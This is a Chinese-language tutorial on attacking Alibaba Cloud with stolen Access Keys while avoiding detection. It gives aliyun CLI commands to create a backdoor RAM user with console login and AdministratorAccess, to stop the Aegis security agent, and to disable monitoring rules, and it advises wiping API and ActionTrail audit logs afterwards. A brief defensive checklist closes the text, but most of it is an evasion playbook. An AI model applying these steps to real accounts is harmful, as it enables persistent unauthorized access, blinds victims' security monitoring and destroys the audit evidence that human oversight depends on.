阿里云攻防避免检测的艺术
字数 973 2025-08-29 08:30:19

阿里云攻防避免检测的艺术 - 教学文档

前言

在云渗透测试中,最常见的攻击手法是通过获取Access Key和ID进行入侵。然而,直接使用公开工具进行操作往往会触发云平台的安全警告,导致攻击被快速发现和阻断。本文将详细介绍如何在不触发警告的情况下进行阿里云渗透测试。

工具与场景

CF云渗透工具简介

  • 工具地址: https://wiki.teamssix.com/CF/
  • 用途: 云环境利用框架,适用于:
    • 红队场景中对云上内网进行横向渗透
    • SRC场景中对Access Key影响程度评估
    • 企业自检云上资产安全

典型攻击流程

  1. 获取有效的Access Key和ID
  2. 使用CF工具配置凭证
  3. 查看当前权限
  4. 创建后门用户
  5. 登录控制台进行进一步操作

问题发现

  • 使用CF工具创建用户后会立即触发安全警告
  • 管理员会收到紧急通知,导致攻击被发现和阻断

避免检测的技术方法

方法一:手工操作替代自动化工具

步骤1:基础配置

# 配置Access Key
export ALIBABA_CLOUD_ACCESS_KEY_ID="your_access_key_id"
export ALIBABA_CLOUD_ACCESS_KEY_SECRET="your_access_key_secret"

步骤2:创建用户

# 创建新用户
aliyun ram CreateUser --UserName backdoor_user

步骤3:分配登录权限

# 允许控制台登录
aliyun ram CreateLoginProfile --UserName backdoor_user --Password YourP@ssw0rd

步骤4:权限分配

# 列出所有策略
aliyun ram ListPolicies

# 为新建用户附加管理员权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName backdoor_user

验证方法:

  • 登录阿里云控制台检查用户列表
  • 对比手工创建和工具创建的用户,手工创建的用户不会触发警告

方法二:关闭监控系统(仅限测试环境)

步骤1:停止云盾进程

# 查找云盾相关进程
ps -ef | grep aliyun-service

# 停止云盾服务
service aegis stop

步骤2:禁用监控功能

# 通过API关闭安全监控
aliyun cms DisableActiveMetricRule --RuleId your_rule_id

注意事项:

  • 此方法仅适用于测试环境
  • 生产环境中操作会被记录,可能导致账号异常

关键点总结

  1. 自动化工具风险:

    • CF等公开工具容易被云平台识别
    • 工具特征明显,操作模式固定
  2. 手工操作优势:

    • 行为更接近正常管理操作
    • 可以控制操作间隔,模拟真实管理员行为
    • 不会触发基于工具特征的检测规则
  3. 权限管理技巧:

    • 先创建用户再分配权限,分步操作
    • 避免一次性完成所有敏感操作
    • 使用最小必要权限原则,而非直接分配管理员权限
  4. 日志清理:

    • 操作完成后应清理API调用日志
    • 注意ActionTrail等审计服务的记录

防御建议

  1. 监控异常API调用:

    • 特别关注CreateUser、AttachPolicy等敏感操作
    • 设置异地登录告警
  2. 权限最小化:

    • 避免使用高权限的Access Key
    • 实施多因素认证
  3. 定期审计:

    • 检查用户列表中的异常账户
    • 审查权限分配记录
  4. 密钥保护:

    • 定期轮换Access Key
    • 避免在代码中硬编码密钥

通过以上方法,可以在渗透测试中有效避免被检测,同时也为防御方提供了相应的防护思路。

阿里云攻防避免检测的艺术 - 教学文档 前言 在云渗透测试中,最常见的攻击手法是通过获取Access Key和ID进行入侵。然而,直接使用公开工具进行操作往往会触发云平台的安全警告,导致攻击被快速发现和阻断。本文将详细介绍如何在不触发警告的情况下进行阿里云渗透测试。 工具与场景 CF云渗透工具简介 工具地址 : https://wiki.teamssix.com/CF/ 用途 : 云环境利用框架,适用于: 红队场景中对云上内网进行横向渗透 SRC场景中对Access Key影响程度评估 企业自检云上资产安全 典型攻击流程 获取有效的Access Key和ID 使用CF工具配置凭证 查看当前权限 创建后门用户 登录控制台进行进一步操作 问题发现 使用CF工具创建用户后会立即触发安全警告 管理员会收到紧急通知,导致攻击被发现和阻断 避免检测的技术方法 方法一:手工操作替代自动化工具 步骤1:基础配置 步骤2:创建用户 步骤3:分配登录权限 步骤4:权限分配 验证方法 : 登录阿里云控制台检查用户列表 对比手工创建和工具创建的用户,手工创建的用户不会触发警告 方法二:关闭监控系统(仅限测试环境) 步骤1:停止云盾进程 步骤2:禁用监控功能 注意事项 : 此方法仅适用于测试环境 生产环境中操作会被记录,可能导致账号异常 关键点总结 自动化工具风险 : CF等公开工具容易被云平台识别 工具特征明显,操作模式固定 手工操作优势 : 行为更接近正常管理操作 可以控制操作间隔,模拟真实管理员行为 不会触发基于工具特征的检测规则 权限管理技巧 : 先创建用户再分配权限,分步操作 避免一次性完成所有敏感操作 使用最小必要权限原则,而非直接分配管理员权限 日志清理 : 操作完成后应清理API调用日志 注意ActionTrail等审计服务的记录 防御建议 监控异常API调用 : 特别关注CreateUser、AttachPolicy等敏感操作 设置异地登录告警 权限最小化 : 避免使用高权限的Access Key 实施多因素认证 定期审计 : 检查用户列表中的异常账户 审查权限分配记录 密钥保护 : 定期轮换Access Key 避免在代码中硬编码密钥 通过以上方法,可以在渗透测试中有效避免被检测,同时也为防御方提供了相应的防护思路。